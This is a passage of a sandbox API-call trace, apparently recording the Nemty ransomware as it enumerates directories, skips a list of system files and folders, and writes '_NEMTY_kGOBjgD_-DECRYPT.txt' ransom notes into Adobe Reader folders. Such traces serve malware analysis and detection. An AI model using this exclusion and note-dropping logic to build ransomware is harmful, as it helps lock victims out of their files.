(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.760] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.760] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.760] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.761] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a98bcb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a98bcb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a98bcb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.761] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.761] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0172.761] lstrcmpiW (lpString1="EUQ", lpString2=".") returned 1 [0172.761] lstrcmpiW (lpString1="EUQ", lpString2="..") returned 1 [0172.761] lstrcmpiW (lpString1="EUQ", lpString2="...") returned 1 [0172.761] lstrcmpiW (lpString1="EUQ", lpString2="windows") returned -1 [0172.761] lstrcmpiW (lpString1="EUQ", lpString2="$RECYCLE.BIN") returned 1 [0172.761] lstrcmpiW (lpString1="EUQ", lpString2="rsa") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="NTDETECT.COM") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="ntldr") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="MSDOS.SYS") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="IO.SYS") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="boot.ini") returned 1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="boot.ini") returned 1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="ntuser.dat") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="desktop.ini") returned 1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="CONFIG.SYS") returned 1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="RECYCLER") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="BOOTSECT.BAK") returned 1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="bootmgr") returned 1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="programdata") returned -1 [0172.762] lstrcmpiW (lpString1="EUQ", lpString2="appdata") returned 1 [0172.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUQ", lpUsedDefaultChar=0x0) returned 3 [0172.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUQ", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUQ", lpUsedDefaultChar=0x0) returned 3 [0172.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.763] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.763] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.764] CloseHandle (hObject=0x254) returned 1 [0172.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.765] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.765] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.766] CloseHandle (hObject=0x254) returned 1 [0172.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.766] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a9d7f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a9d7f70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.766] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.766] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a9d7f70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a9d7f70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.766] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.766] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.766] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.766] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.767] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.767] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.767] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.767] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.768] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.777] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.777] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.778] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 